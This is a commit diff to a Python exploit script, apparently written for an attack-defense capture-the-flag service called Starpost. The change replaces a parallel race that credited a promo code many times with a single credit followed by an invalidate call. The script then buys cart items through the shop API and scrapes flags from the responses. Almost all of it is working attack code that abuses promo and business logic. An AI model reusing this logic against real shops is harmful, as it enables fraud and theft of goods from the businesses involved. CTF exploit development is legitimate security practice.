Update Starpost exploit promo flow

This commit is contained in:
shira committed 2026-10-25 12:16:23 +03:00
1 parent e112480339
commit 29c864990a
4 files changed
+260 -102

No files matched your search

+13 -9
View File
@@ -4,7 +4,6 @@ from __future__ import annotations
import concurrent.futures
import json
import math
import re
import secrets
import sys
@@ -20,7 +19,6 @@ REQUEST_TIMEOUT = 1.5
TOTAL_TIMEOUT = 8.5
MAX_RESPONSE = 512 * 1024
MAX_PRODUCTS = 5
MAX_CREDITS = 24
MAX_WORKERS = 8
GET_RETRIES = 1
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
@@ -117,6 +115,13 @@ def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
return status == 200
def invalidate(base: str, cookie: str, code: str, deadline: float) -> bool:
status, _, _ = request(
base, "/api/promo/invalidate", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline
)
return status == 200
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
status, _, _ = request(
base,
@@ -176,7 +181,7 @@ def run_exploit(target: str) -> str:
products = json.loads(raw)
selected = []
total = 0
budget = 100 + MAX_CREDITS * 100
budget = 200
for product in products if isinstance(products, list) else []:
try:
product_id = int(product["id"])
@@ -192,11 +197,10 @@ def run_exploit(target: str) -> str:
if not selected:
return ""
required_credits = max(0, math.ceil((total - 100) / 100))
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"], deadline), range(required_credits)))
if credited != required_credits:
raise ValueError("promo crediting was incomplete")
if not credit(base, cookie, promo["code"], deadline):
raise ValueError("promo crediting failed")
if not invalidate(base, cookie, promo["code"], deadline):
raise ValueError("promo invalidation failed")
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
@@ -210,7 +214,7 @@ def run_exploit(target: str) -> str:
if status != 200:
raise ValueError(f"orders endpoint returned HTTP {status}")
print(
f"credited {credited} times, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
f"credited once, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
file=sys.stderr,
)
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))